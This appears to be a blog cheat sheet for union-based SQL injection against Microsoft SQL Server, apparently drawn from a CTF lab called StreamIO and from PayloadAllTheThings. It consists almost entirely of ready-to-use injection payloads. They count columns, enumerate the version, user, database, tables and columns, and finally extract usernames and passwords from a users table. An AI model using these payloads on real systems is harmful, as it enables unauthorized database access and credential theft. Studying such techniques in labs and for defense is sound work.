SQL Injection MSSQL
Post

SQL Injection MSSQL

Simple Commands

Simple enumeration is to be abused with following queries such queries where taken from PayloadAllTheThings:

1
2
3
4
5
6
7
8
# Version
SELECT @@version
# DB user
SELECT user_name();
SELECT system_user;
SELECT user;
# Sleep function
waitfor delay '0:0:10'--

Identifying the number of columns

First of all we need to identify the behavior of the database with sqli payloads, a good idea is to enumerate columns with sqli queries:

ORDER BY

The number of columns might vary so we need to change the value of the query (1,2,3,4, etc.) until the response is correct:

1
' ORDER BY 10-- -

UNION SELECT

Sometimes the results are not shown on the output of the request, so it is a good idea to try with a payload that would responde correctly before of the payload, if the vulnerability is on a search bar, try to add a word that retrieves some results, for example 10 before of the payload ' union select 1-- -

1
2
3
4
5
6
' union select 1-- -
' union select 1,2-- -
' union select 1,2,3-- -
' union select 1,2,3,4-- -
' union select 1,2,3,4,5-- -
' union select 1,2,3,4,5,6-- -

If there is a successsful answer then we need to identify which column retrieves information from the database.

Version

1
' union select 1,@@version,3,4,5,6 -- -

Database_Version

Database user

You can use any of the options below:

1
2
3
4
' union select 1,CURRENT_USER,3,4,5,6 -- -
' union select 1,user_name(),3,4,5,6 -- -
' union select 1,system_user,3,4,5,6 -- -
' union select 1,user,3,4,5,6 -- -

Database_User

Database name

It is of upmost importance to gather the name of the database being used:

1
' union select 1,DB_NAME(),3,4,5,6 -- -

Database_Name

Tables

Once that we get the name of the database we can proceed to gather the tables on such database:

1
2
# First and simple option is retrieving all the info from a table
' union select 1,name,3,4,5,6 FROM STREAMIO..sysdatabases-- -

Database_Tables

Another option is to retrieve the tables on a simple column with the function STRING_AGG:

1
' union select 1,(SELECT STRING_AGG(name, ', ') FROM STREAMIO..sysobjects),3,4,5,6-- -

Database_Tables

Columns

Then we extract the column names, we can use a WHERE condition clause to extract only the columns from an specific table in this case the “users” table:

1
' union select 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'users')-- -

Database_Columns

Data within the tables

Finally once that we gather all the info we then proceed to retrieve information from the table:

1
' union select 1,CONCAT(username, ' ', password),3,4,5,6 FROM users-- -

Examples: StreamIO